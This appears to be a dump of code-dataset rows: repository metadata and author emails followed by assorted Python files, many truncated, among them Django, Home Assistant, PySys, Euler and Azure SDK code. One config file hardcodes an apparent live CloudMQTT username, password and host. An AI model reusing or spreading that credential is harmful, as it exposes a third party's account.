"aquaristar@gmail.com"
] | aquaristar@gmail.com |
7ccde0b2a093af83420ba772d2828d2f65688670 | 8fb1d41797595550418ecfc0e7558f38254b4606 | /django/contrib/gis/models.py | 4e10c87760c9b4ac3452d6f65812105eb125ea1f | [
"MIT"
] | permissive | hunch/hunch-gift-app | 2aad70a9f18124bf0de02d7a125fa93c765da008 | 8c7cad24cc0d9900deb4175e6b768c64a3d7adcf | refs/heads/master | 2016-09-06T03:13:52.153974 | 2012-03-26T18:11:59 | 2012-03-26T18:11:59 | 1,191,221 | 6 | 3 | null | null | null | null | UTF-8 | Python | false | false | 399 | py | from django.db import connection
if (hasattr(connection.ops, 'spatial_version') and
not connection.ops.mysql):
# Getting the `SpatialRefSys` and `GeometryColumns`
# models for the default spatial backend. These
# aliases are provided for backwards-compatibility.
SpatialRefSys = connection.o... | [
"gleitz@hunch.com"
] | gleitz@hunch.com |
0628c1d06bd602025acc0eda193ffecd1b9f5d2d | d718bd58d5484abb9b0e852a5c0b0f99b5d0662d | /tests/components/automation/test_time.py | 05c5ade1d5341790a8232cea55d13081c9dcced6 | [
"MIT"
] | permissive | maddox/home-assistant | ed6ff4d44c025792a1fcd1a1f729357ff09fbd3d | 6624cfefd6ea81b559085779173b91a3dc6bd349 | refs/heads/dev | 2021-01-18T08:44:14.140525 | 2015-09-12T01:03:02 | 2015-09-12T01:03:02 | 42,342,306 | 2 | 1 | null | 2015-09-12T02:56:41 | 2015-09-12T02:56:41 | null | UTF-8 | Python | false | false | 3,038 | py | """
tests.test_component_demo
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Tests demo component.
"""
import unittest
import homeassistant.core as ha
import homeassistant.loader as loader
import homeassistant.util.dt as dt_util
import homeassistant.components.automation as automation
import homeassistant.components.automation.time as ... | [
"paulus@paulusschoutsen.nl"
] | paulus@paulusschoutsen.nl |
9632a1e6e2f20a3eb538157aa2d7406c4a23e5d5 | 835168502e683d9bc4f94fb13d14caa63e7f92db | /exercises/1901090003/d09/mymodule/stats_word.py | 909a708c87023cf5068c433de252180657d814a6 | [] | no_license | MaryShu/selfteaching-python-camp | aa6948cb21ebc218ffd3aef5988575da377e3ada | 6497774bf1452905fe9affccb6866a3dbb21bb2a | refs/heads/master | 2020-05-24T01:08:52.152579 | 2019-05-29T11:40:40 | 2019-05-29T11:40:40 | 187,029,827 | 0 | 0 | null | 2019-05-16T13:06:16 | 2019-05-16T13:06:15 | null | UTF-8 | Python | false | false | 724 | py | import re
from collections import Counter
# 统计英文
def stats_text_en(text):
if not isinstance(text,str):
raise ValueError('参数必须是str类型')
word_list = re.findall(r'\b[a-z]+\'?[a-z]+',text.lower())
cnt_en = Counter()
for word in word_list:
cnt_en[word] += 1
return cnt_en
# 统计中文
def stats... | [
"46160162+EthanYan6@users.noreply.github.com"
] | 46160162+EthanYan6@users.noreply.github.com |
6d75669416bfa05bd2ac0082a7c73e5bd9b75ece | d5ed141e513dcb6fc8ab851835ec9a4630e3651b | /anaconda/anaconda/bin/ptdump | 549292e4411111aaacfac932337843a67ac69531 | [] | no_license | starrysky1211/starrysky | 713998b366449a5ae4371e38723c56ea40532593 | abb642548fb9b431551133657f1a67858041a7e6 | refs/heads/master | 2022-11-09T21:51:22.558151 | 2017-02-25T14:42:37 | 2017-02-25T14:42:37 | 67,608,074 | 0 | 1 | null | 2022-10-16T05:17:25 | 2016-09-07T13:16:45 | Python | UTF-8 | Python | false | false | 177 | #!/Users/starrysky/starrysky/anaconda/anaconda/bin/python
if __name__ == '__main__':
import sys
import tables.scripts.ptdump
sys.exit(tables.scripts.ptdump.main())
| [
"starry_sky_@outlook.com"
] | starry_sky_@outlook.com | |
2b7bd4113047b1948ce4e649f2b478751f4c7598 | 6b9084d234c87d7597f97ec95808e13f599bf9a1 | /entry/detr/train/train_got.py | 25ba5c21cb95007f94fd3798a5a52974f3af8a7d | [] | no_license | LitingLin/ubiquitous-happiness | 4b46234ce0cb29c4d27b00ec5a60d3eeb52c26fc | aae2d764e136ca4a36c054212b361dd7e8b22cba | refs/heads/main | 2023-07-13T19:51:32.227633 | 2021-08-03T16:02:03 | 2021-08-03T16:02:03 | 316,664,903 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,072 | py | import sys
import os
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..', '..'))
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
import argparse
import datetime
import json
import time
from pathlib import Path
import torch
from torch.utils.data import DataLoader, DistributedSample... | [
"linliting06@live.com"
] | linliting06@live.com |
e9476b93f73f77f23f5cbf54f951fa0869286a67 | df4b577668b830fcb41be675d691a72b952e892b | /tobiko/tests/unit/test_skip.py | 6ef6fcea82ef087ae9e9194c5ba539d299665ffe | [
"Apache-2.0"
] | permissive | 4383/tobiko | 37ef7bfb3b51918825c4c412136467fb32850494 | f8e6916db890021fa17ddbfc5e6007a25093c8cb | refs/heads/master | 2020-10-01T00:03:27.723538 | 2019-12-11T16:01:53 | 2019-12-11T16:04:14 | 227,405,383 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,842 | py | # Copyright (c) 2019 Red Hat
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by a... | [
"fressi@redhat.com"
] | fressi@redhat.com |
398e733364846f64bead464614ab67e718b6d0e9 | 113d2f4b998c049a981d5c82260c0a7316d7a8a2 | /pysys-examples/internal/testcases/PySys_internal_065/run.py | b04495b9b82f121c534c893c1c72d64e95af7aed | [] | no_license | moraygrieve/pysys | a9055b56fc7fb8c7ec3c50b641b2bfa1939e1c9c | 3f93cbedbb806b6c53de89358025f93c740ebdc3 | refs/heads/master | 2020-04-29T10:39:42.850088 | 2019-02-27T18:07:13 | 2019-02-27T18:07:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,918 | py | import pysys
from pysys.constants import *
from pysys.basetest import BaseTest
from pysys.utils.perfreporter import CSVPerformanceFile
import os, sys, math, shutil
class PySysTest(BaseTest):
def execute(self):
shutil.copytree(self.input, self.output+'/test')
l = {}
exec(open(self.input+'/../../../utilities/... | [
"ben-spiller@users.noreply.github.com"
] | ben-spiller@users.noreply.github.com |
c3ac5c3d2258b311929f64c91cebd2e0bfe1dc04 | 9b9a02657812ea0cb47db0ae411196f0e81c5152 | /repoData/chriso-gauged/allPythonContent.py | df5bda8b7f7339596b764863f50e5d83654741dd | [] | no_license | aCoffeeYin/pyreco | cb42db94a3a5fc134356c9a2a738a063d0898572 | 0ac6653219c2701c13c508c5c4fc9bc3437eea06 | refs/heads/master | 2020-12-14T14:10:05.763693 | 2016-06-27T05:15:15 | 2016-06-27T05:15:15 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 173,460 | py | __FILENAME__ = benchmark
'''
Gauged - https://github.com/chriso/gauged
Copyright 2014 (c) Chris O'Hara <cohara87@gmail.com>
'''
from gauged import Gauged
from random import random
from math import floor, ceil
from time import time
from calendar import timegm
from datetime import datetime, timedelta
from ar... | [
"dyangUCI@github.com"
] | dyangUCI@github.com |
d247d489b76804e171822766357d8f6466b74500 | f58fe5f505361c7b531ca9fde0f0cb3aa48b5652 | /061/main.py | ffb31a71bd76246ee48c565b918e7d633a2723d7 | [] | no_license | elitan/euler | 2ac1891555c133cc788d22d8c040778936849cb3 | 0caa13f74f3b9fb574158f10973cc9dc2586293f | refs/heads/master | 2020-12-25T15:29:46.421623 | 2018-01-17T17:04:32 | 2018-01-17T17:04:32 | 14,663,106 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,359 | py |
import sys
sys.path.append("../")
import functions as f
import itertools
def triangle(n): return n * (n + 1) / 2
def square(n): return n**2
def pentagonal(n): return n * (3 * n - 1) / 2
def hexagonal(n): return n * (2 * n - 1)
def heptagonal(n): return n * (5 * n - 3) / 2
def octagonal(n): return n * (3 * n - 2)
def... | [
"johan@eliasson.me"
] | johan@eliasson.me |
5c9c329b16149366a148bf3967cf3b5829d35911 | 2fe58e7f6bfc3efdb78ca56f72a4e2a75a24c270 | /eric/eric6/Preferences/ConfigurationPages/DiffColoursPage.py | c27413eec6a817dc436b73b9446be8172ca363d5 | [] | no_license | testerclub/eric6-20.3 | 3053e0e6962060b213f5df329ee331a4893d18e6 | bba0b9f13fa3eb84938422732d751219bc3e29e2 | refs/heads/master | 2023-03-18T08:24:03.472297 | 2020-03-14T06:44:14 | 2020-03-14T06:44:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,233 | py | # -*- coding: utf-8 -*-
# Copyright (c) 2017 - 2020 Detlev Offenbach <detlev@die-offenbachs.de>
#
"""
Module implementing the Diff colours configuration page.
"""
from PyQt5.QtCore import pyqtSlot
from PyQt5.QtGui import QPalette
from PyQt5.QtWidgets import QColorDialog
from .ConfigurationPageBase import Configura... | [
"skeptycal@gmail.com"
] | skeptycal@gmail.com |
873e50ceef8a54138f66173d330a667e5b571d8a | 5c1746c4ae9f5eb4c94c9b3a70a4d3feb966ceda | /pcapkit/vendor/mh/traffic_selector.py | af826c8583baa68945e82043d1ef9209d6bcb68c | [
"BSD-3-Clause"
] | permissive | JarryShaw/PyPCAPKit | 8b53c76cf54f2ef1a9e4d0a7aeb3d52605dc1d5a | a6fe49ec58f09e105bec5a00fb66d9b3f22730d9 | refs/heads/main | 2023-08-29T12:49:58.611378 | 2023-08-28T14:05:43 | 2023-08-28T14:05:43 | 109,791,841 | 204 | 29 | BSD-3-Clause | 2023-09-11T17:09:06 | 2017-11-07T05:41:56 | Python | UTF-8 | Python | false | false | 2,619 | py | # -*- coding: utf-8 -*-
"""Traffic Selector Format
=============================
.. module:: pcapkit.vendor.mh.traffic_selector
This module contains the vendor crawler for **Traffic Selector Format**,
which is automatically generating :class:`pcapkit.const.mh.traffic_selector.TrafficSelector`.
"""
import csv
import... | [
"jarryshaw@icloud.com"
] | jarryshaw@icloud.com |
27a00ff4ce25c2af8b6052c5741f033b8229d6ab | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02959/s418985928.py | cb53d993aa0c630a13225994575ecde57afc0460 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 526 | py | N = int(input())
A = list(map(int, input().split()))
B = list(map(int, input().split()))
monster = 0
for i in range(N):
if A[i] >= B[i]:
monster += B[i]
A[i] -= B[i]
B[i] = 0
else:
monster += A[i]
B[i] -= A[i]
A[i] = 0
if A[i + 1] >= B[i]:
... | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
f3e81a6f2f30cd764d82225e3d5c82e07c785165 | a9ed579f1483993a371411b39880f9e65d803ff5 | /cat_subcat_pro/urls.py | c032e0d7838709b81b8ac77cdef0d247a25b8a59 | [] | no_license | arunvemana/N_cat_django_model | 79b6841ec4825b4656d2e7d027d6566678179e98 | 757f00d6f2e83f85502e5d21baca9060e19030dd | refs/heads/master | 2022-11-10T07:27:10.439755 | 2020-06-26T03:29:34 | 2020-06-26T03:29:34 | 275,065,037 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 756 | py | """cat_subcat_pro URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Clas... | [
"arunsai4b6@gmail.com"
] | arunsai4b6@gmail.com |
8466efad2689148f30354687d3d59b809ac6c7a4 | f576f0ea3725d54bd2551883901b25b863fe6688 | /sdk/storage/azure-mgmt-storagesync/generated_samples/cloud_endpoints_trigger_change_detection.py | afa556a5006811330b827a494591ddc052941a0d | [
"LicenseRef-scancode-generic-cla",
"MIT",
"LGPL-2.1-or-later"
] | permissive | Azure/azure-sdk-for-python | 02e3838e53a33d8ba27e9bcc22bd84e790e4ca7c | c2ca191e736bb06bfbbbc9493e8325763ba990bb | refs/heads/main | 2023-09-06T09:30:13.135012 | 2023-09-06T01:08:06 | 2023-09-06T01:08:06 | 4,127,088 | 4,046 | 2,755 | MIT | 2023-09-14T21:48:49 | 2012-04-24T16:46:12 | Python | UTF-8 | Python | false | false | 1,866 | py | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | [
"noreply@github.com"
] | Azure.noreply@github.com |
f2daa3fb2e5eee737fd4b90948273d2c582a19e6 | f435b177d625e50bb9beafb191e1df01e3cb30ee | /src/pyoiler/problems/euler003.py | ece675a302a90952f578694d2b18f63b92cfda88 | [] | no_license | bathcat/pyOiler | dcf948b0a18a9094314564d177c7827c875de78b | 3ce4d96277e61346509c2975a0034fb5ba845f23 | refs/heads/main | 2023-03-12T10:42:48.837126 | 2021-02-10T19:18:14 | 2021-02-10T19:18:14 | 337,828,844 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 616 | py | from ..shared.solver import Solver
from ..shared.primes import prime_factors
description = '''The prime factors of 13195 are 5, 7, 13 and 29.
What is the largest prime factor of the number 600851475143 ?
'''
def _solve(print = print):
real_target = 600851475143
target = 13195
print(f"Solving this thing ... | [
"you@example.com"
] | you@example.com |
5c01bbe12558bc418c8f5cab27105cddb6aeaaf9 | ebf3a44a24bdca43553307338ff31440d5e2e11a | /src/lsd_lemon/run_conversion.py | 223f45aafbba255710b093840066ecaacfc3c955 | [
"MIT"
] | permissive | juhuntenburg/pipelines | daeb13896023e22350eb33b90007d8a74d592745 | 9904065cccb8e316cece5451f595a24774f07bd5 | refs/heads/master | 2020-04-05T09:27:17.263763 | 2017-05-02T20:28:33 | 2017-05-02T20:28:33 | 30,145,021 | 0 | 3 | null | 2015-02-01T12:09:49 | 2015-02-01T12:09:49 | null | UTF-8 | Python | false | false | 4,742 | py | from convert import create_conversion
import getpass
import pandas as pd
import sys
'''Meta script to run conversion
---------------------------------
Input is a spreadsheet with information on location,
experiment labels and scan IDs in xnat.
Will ask for xnat credentials
'''
list_conversion=sys.argv[1]
xnat_user... | [
"ju.huntenburg@gmail.com"
] | ju.huntenburg@gmail.com |
1aeb19a626e68a5e5a4da3d5afc1f1c353f2e214 | a6d36a861c156e9dd9c3f4733978f194bcc62c2c | /api/signals.py | cdbd27529c4943aab5d6f1d04db8b68cedb2bfab | [] | no_license | wjaccck/upfile | 091f3ba132748cef348ff8a9973eba009e5423fa | 2721cc29ca394ddcf9f415e4fba7e2b422e87701 | refs/heads/master | 2021-01-01T04:30:18.024584 | 2016-05-26T02:25:51 | 2016-05-26T02:25:51 | 57,368,745 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,402 | py | # -*- coding: utf-8 -*-
from django.db.models.signals import post_save
from django.dispatch import receiver
from api.models import Up_file,Dirs,Recode_dirs
import re
def _create_dir(dir_name):
if len(Dirs.objects.filter(name=dir_name))==0:
m_dir=Dirs.objects.create(name=dir_name)
else:
m_dir=D... | [
"wjaccck@163.com"
] | wjaccck@163.com |
fd7ac04e3fa4708121e93e6cf58123c42808f310 | 2417bf83ee94b98c3cd662b0f599a3531a1691b4 | /catalog/migrations/0011_auto_20200102_1532.py | 25c3d84256cf260a3295a294d55113717e9c2488 | [] | no_license | dmhburke/dbDevSiteGIT | 8a67a0d01abda7760f0436f5f6a51752962b9588 | 9d5b3b87e33c9e8584a75938dcf3abc67d85dea9 | refs/heads/master | 2022-11-30T17:17:58.006400 | 2020-03-23T20:59:33 | 2020-03-23T20:59:33 | 230,835,423 | 0 | 0 | null | 2022-11-22T04:56:10 | 2019-12-30T02:45:59 | Python | UTF-8 | Python | false | false | 518 | py | # Generated by Django 3.0.1 on 2020-01-02 20:32
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('catalog', '0010_uploadimage_exif'),
]
operations = [
migrations.RemoveField(
model_name='uploadimage',
name='exif',
... | [
"dmhburke@gmail.com"
] | dmhburke@gmail.com |
399955485b462e8de17c8ede5738cf8762f82078 | caef0219abb12db419803dd5f76895a3c4522b3a | /tests/test_regularizations.py | 42a72b3d4edf0b080a2d9e239083b4aefd9343fd | [
"MIT"
] | permissive | fossabot/polyaxon-schemas | cf6199959e575aa91b63b120c594536f170b1c1f | 1ca3049cfcef507fbc3a6fa4e38f870f8a5869b2 | refs/heads/master | 2021-08-30T16:12:46.847739 | 2017-12-18T15:40:54 | 2017-12-18T15:40:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,138 | py | # -*- coding: utf-8 -*-
from __future__ import absolute_import, division, print_function
from unittest import TestCase
from polyaxon_schemas.regularizations import (
L1RegularizerConfig,
L2RegularizerConfig,
L1L2RegularizerConfig
)
from tests.utils import assert_equal_dict
class TestRegularizationConfig... | [
"mouradmourafiq@gmail.com"
] | mouradmourafiq@gmail.com |
6c54ec930fcdb5b489cf7de43077dc9d6b203c9b | 4be5c172c84e04c35677f5a327ab0ba592849676 | /python/interviewbit/backtracking/permutations/permutations.py | 67e54ad1f9942436e6f74000aeffee3c3229f8a5 | [] | no_license | niranjan-nagaraju/Development | 3a16b547b030182867b7a44ac96a878c14058016 | d193ae12863971ac48a5ec9c0b35bfdf53b473b5 | refs/heads/master | 2023-04-06T20:42:57.882882 | 2023-03-31T18:38:40 | 2023-03-31T18:38:40 | 889,620 | 9 | 2 | null | 2019-05-27T17:00:29 | 2010-09-05T15:58:46 | Python | UTF-8 | Python | false | false | 2,378 | py | '''
https://www.interviewbit.com/problems/permutations/
Permutations
Given a collection of numbers, return all possible permutations.
Example:
[1,2,3] will have the following permutations:
[1,2,3]
[1,3,2]
[2,1,3]
[2,3,1]
[3,1,2]
[3,2,1]
NOTE
No two entries in the permutation sequence should be the same.... | [
"vinithepooh@gmail.com"
] | vinithepooh@gmail.com |
649e8ac81f9780d1565b76c58d26f80527d03183 | 95b8de84df42df693522b0e63692b7a91bd6f6f5 | /recipes/sbp/all/conanfile.py | 77edf2fd79a3ee70366570a9dd6ea820d3566e95 | [
"MIT"
] | permissive | ericLemanissier/conan-center-index | ae9fcd42ecb208a27299120c5580c924e9dfac86 | d4e176c437637429dbd35ab6e172be1559cb2f2d | refs/heads/freebsd | 2023-09-01T03:10:56.850971 | 2023-08-30T07:00:49 | 2023-08-30T07:00:49 | 210,675,894 | 1 | 1 | MIT | 2023-09-11T05:38:23 | 2019-09-24T18:54:26 | Python | UTF-8 | Python | false | false | 2,170 | py | import os
from conans import ConanFile, CMake, tools
from conans.errors import ConanInvalidConfiguration
class SbpConan(ConanFile):
name = "sbp"
license = "MIT"
homepage = "https://github.com/swift-nav/libsbp"
url = "https://github.com/conan-io/conan-center-index"
description = "Swift Binary Prot... | [
"noreply@github.com"
] | ericLemanissier.noreply@github.com |
753e593df18713ead0d95d67b14e409d021e0f7c | 6a61ef12621c8a917d160db62415487fe2c469f7 | /aliyun-python-sdk-outboundbot/aliyunsdkoutboundbot/request/v20191226/CreateDialogueFlowRequest.py | 542410390fbf2bb5a2c09f4e57c5d507bb1942a1 | [
"Apache-2.0"
] | permissive | zhangwp-cn/aliyun-openapi-python-sdk | f0b15369665a956490534c942676ed15410196f7 | a560e38f97351db05d13f0588f7bdfb4292ed3ae | refs/heads/master | 2022-09-08T13:31:26.842867 | 2020-06-04T03:23:30 | 2020-06-04T03:23:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,995 | py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | [
"sdk-team@alibabacloud.com"
] | sdk-team@alibabacloud.com |
0e4c1b84669b3c84d75b6d7527172294d06d29c2 | 3d23b5dffb9ed45c89ac6e63235620cc695b6b30 | /apps/basic/models.py | 016a44a25649333837f29595675c9208bfca5798 | [] | no_license | zizle/mkdecision | f9988864909be4dfffbc33cac40cb127e6a3d1ae | 833b5732100b296dd0004e9f9bf2251fc34629f1 | refs/heads/master | 2020-06-15T16:41:28.633877 | 2020-04-02T08:16:45 | 2020-04-02T08:16:45 | 195,343,829 | 0 | 0 | null | 2020-04-02T08:20:53 | 2019-07-05T05:25:43 | Python | UTF-8 | Python | false | false | 3,285 | py | # _*_ coding:utf-8 _*_
# __Author__: zizle
from django.db import models
from apps.abstract import BaseModel
""" 客户端相关 """
# 客户端模型
class Client(BaseModel):
name = models.CharField(max_length=128, blank=True, null=True, verbose_name="名称备注")
machine_code = models.CharField(max_length=32, unique=True, verbose_... | [
"zizle_lin@163.com"
] | zizle_lin@163.com |
92bf7dff76f1288fae88ff14bf5e2480c3b1fd8b | a0947c2778742aec26b1c0600ceca17df42326cd | /Python/PythonInADay2/CSV-Files-Drill/37of79-51.py | 668d10310be1ed1689352def9560cf546a2675c4 | [] | no_license | JohnCDunn/Course-Work-TTA | 5758319d4607114914ba9723328658bed8fb2024 | 8c4f60d51007dac2ac4cceb84b0f9666e143c0d7 | refs/heads/master | 2021-01-10T16:37:02.609879 | 2016-02-01T18:05:38 | 2016-02-01T18:05:38 | 49,983,248 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,191 | py |
import sqlite3
conn = sqlite3.connect('simpsons.db')
def createTable():
conn.execute("create table if not exists simpson_info(ID Integer primary key autoincrement, \
Name text, Gender text, Age text, Occupation text);")
createTable()
def newCharacter():
print '\nAdding a new characte... | [
"JohnClydeDunn@Gmail.com"
] | JohnClydeDunn@Gmail.com |
9fe48eab918060dd5ca6af416e873b6ad7bb815e | 27a15559b0a578ed768212130ab0cd5beb5b34fa | /empty_rate_calc.py | ed370f8fe74932ee0fb9d9caeea07d0d68c1dccc | [] | no_license | dodoingdy/etl | 8fb028a4b2bce30c38550bac173625631a76b9b0 | 5ac55234890c5e06cfbd198a882f7e871f181a90 | refs/heads/master | 2021-09-05T01:21:14.331810 | 2018-01-23T10:25:06 | 2018-01-23T10:25:06 | 112,719,449 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,084 | py | #coding=utf-8
import base64
import xlrd
import cx_Oracle
import re
ora_conf = {
'conn':'ip:port/db',
'usernm':'usernm',
'passwd':'pw',
}
def ora_conn():
usernm = ora_conf['usernm']
passwd = ora_conf['passwd']
conn = ora_conf['conn']
db = cx_Oracle.connect(usernm, passwd, conn)
cur = db.cursor()
... | [
"root@localhost.localdomain"
] | root@localhost.localdomain |
93f50b2f0292e50a30a54a6daac108a13bb18310 | fb093c648090a1bc4821e7fb0f283bb5e28fadb9 | /ethereumetl/domain/contract.py | c3f16e0a2bf6dc221f95411c567ee8793be6f57f | [] | no_license | LeData/ethereum-etl | f190e3da37339c6a25b83a8644281897b7aed0bb | 1e7dff4cef894e81b987ae7267a26cd8d131a308 | refs/heads/master | 2020-03-22T20:19:23.325553 | 2018-07-11T14:16:44 | 2018-07-11T14:16:44 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 108 | py | class EthContract(object):
def __init__(self):
self.address = None
self.bytecode = None
| [
"medvedev1088@gmail.com"
] | medvedev1088@gmail.com |
11c84e98966c0a76d8bb53e03e2647788efeb66f | fe0f1d17d2f289411c350ceb3f31a9722716df41 | /numpy_pgms/n6.py | 58259217c0f0e96ae1614bcf3c029b49faadb322 | [] | no_license | ravigaur06/PythonProject | 3c028d5f2ce32af52de565c91031b91bb186854d | ede1c5a03120237f7a4f0d190bcf50735a1a211a | refs/heads/master | 2023-03-16T15:51:30.760102 | 2020-05-25T04:41:51 | 2020-05-25T04:41:51 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 233 | py | import numpy as np
a=np.array([[1,4,2],[3,2,6],[0,-1,0.5]])
#Row wise sorting
print (np.sort(a))
#column wise sorting
print (np.sort(a,axis=0))
# sort all elements into one dimensional array
print (np.sort(a,axis=None))
| [
"noreply@github.com"
] | ravigaur06.noreply@github.com |
188bfef2a9d2c5de09388a6e02d952cbf5b08e8f | efd119f0926d82efb31fb4ae44651cef4f9d2c14 | /COM2021/config.py | 701898b6f7d1c948fb56cdb8c45fc14629af3678 | [] | no_license | emylincon/shellmon2 | 3a5d0e325fd6da4f3238b866701c784dfac7e41b | 572063cd76113f5b0583432d2bac04a3538669ed | refs/heads/master | 2021-06-20T00:21:49.112003 | 2021-03-25T21:16:17 | 2021-03-25T21:16:17 | 200,080,296 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 165 | py |
class Data:
def __init__(self):
self.user = 'yrtwmwao'
self.pw = 'FmgTf5G8r-4f'
self.ip = 'm24.cloudmqtt.com'
self.port = 16470
| [
"emylincon@gmail.com"
] | emylincon@gmail.com |
607623919725264d95019cb3d9777d96ac523d37 | 4f83198b9e151384e6244d222103454f601b8102 | /billing/yup/views.py | 3fb9d1547c953dc49966ced8a58f69bb34c290fa | [] | no_license | kiranHR/Project1 | c67dfd74c9e16780ad1cfe606d3203927b31c65f | 9dd880ea7c9f99fc97db5cacc07c70b7d2bce5dc | refs/heads/master | 2022-12-21T08:09:54.309578 | 2020-09-30T14:11:12 | 2020-09-30T14:11:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,190 | py | import json
import traceback
import requests
from django.conf import settings
from django.db import transaction
from django.http import HttpResponse
from django.http.response import HttpResponseRedirect
from django.shortcuts import render
from django.template.defaultfilters import slugify
from django.utils.module_load... | [
"rsihon@gmail.com"
] | rsihon@gmail.com |
d9709b1acc1ce752382de0beb5ee672f419e3e6c | 5daece6b3ee3e928d101c8614dbcb90a8569626f | /files/Exercícios Livro/c05e03.py | 81f319749dc646b6956ac3539d7c82e994263dbf | [
"MIT"
] | permissive | heltonricardo/estudo-python | 506b400af93039bbdca70e1bc604c588fae62af1 | e82eb8ebc15378175b03d367a6eeea66e8858cff | refs/heads/master | 2022-12-24T03:10:52.202102 | 2020-10-06T13:58:05 | 2020-10-06T13:58:05 | 294,190,313 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 237 | py | def iop(n):
if (n % 2 == 0):
return 'par'
else:
return 'ímpar'
while (True):
num = int(float(input('Entre um valor natural: ')))
if (num > 0): break
print('O valor {} é'.format(num), iop(num))
input()
| [
"50843386+heltonr13@users.noreply.github.com"
] | 50843386+heltonr13@users.noreply.github.com |
1f57690add2545e261d26c31d53dbb1e306dc8bc | 5c03660a8a1ac0bba95a6135173f86340a6a12fb | /backend/devforum_25636/settings.py | 83a27a9c645d09922565844168b1b585d1b59590 | [] | no_license | crowdbotics-apps/devforum-25636 | c6bfaaab79f4b0113ac3d3522ba7196f19682f39 | dbea60ca19e1aca0ede436666ef82a54ed1f1c9e | refs/heads/master | 2023-04-03T06:39:23.212304 | 2021-04-12T05:08:26 | 2021-04-12T05:08:26 | 357,064,875 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,108 | py | """
Django settings for devforum_25636 project.
Generated by 'django-admin startproject' using Django 2.2.2.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
impor... | [
"team@crowdbotics.com"
] | team@crowdbotics.com |
543fd31efb14fa374c0087e6ec1d3ba6f6927619 | bb28f7b90a607e917528b68ae1dd6d30c78ad85c | /arrays/sortedarray.py | 00d32c31cb18a23b856d7c75a9aa1e413d479e29 | [
"MIT"
] | permissive | gcvalderrama/python_foundations | 066f49ba90e285fad6b730bc4b7c5dfd6821e544 | 5ac045085dcc6c906729b481f833fa6a7889bd19 | refs/heads/master | 2022-05-08T06:13:20.699411 | 2022-03-23T03:03:45 | 2022-03-23T03:03:45 | 151,999,449 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 746 | py | import unittest
# https://www.geeksforgeeks.org/find-first-and-last-positions-of-an-element-in-a-sorted-array/
def first(arr, low, high, x, n):
if high >= low:
mid = low + (high - low) // 2
if (mid == 0 or x > arr[mid - 1]) and arr[mid] == x:
return mid
elif x > arr[mid]:
... | [
"gcvalderrama@hotmail.com"
] | gcvalderrama@hotmail.com |
930973299f47f7a6c222e019262f3a425714624c | 6b9b032a5516c8d7dbb26deeb1b189022f8f9411 | /LeetCode/dp/309.最佳买卖股票时机含冷冻期.py | 36b46e916edb371a83bf53cf392e37c9c4422bb1 | [] | no_license | mrmenand/Py_transaction | 84db99a0010ae90f43fba6b737d7035e48af55fb | 7e82422c84ad699805cc12568b8d3d969f66a419 | refs/heads/master | 2021-07-13T21:15:03.714689 | 2020-06-21T11:49:31 | 2020-06-21T11:49:31 | 176,281,954 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 477 | py | # 309. 最佳买卖股票时机含冷冻期
class Solution:
def maxProfit(self, prices: List[int]) -> int:
if not prices:
return 0
n = len(prices)
dp = [[0] * 3 for _ in range(n)]
dp[0][0] = -prices[0]
for i in range(1, n):
dp[i][0] = max(dp[i - 1][0], dp[i - 1][2] - prices[... | [
"1006024749@qq.com"
] | 1006024749@qq.com |
0e7d709d3011886af221736dc409adc355baefdf | 14e46b15f6774f6af67d08a3a77577e9a60d897a | /labml_nn/transformers/fast_weights/experiment.py | a1dc25689eca521c87806095ffc3be56230f3e81 | [
"MIT"
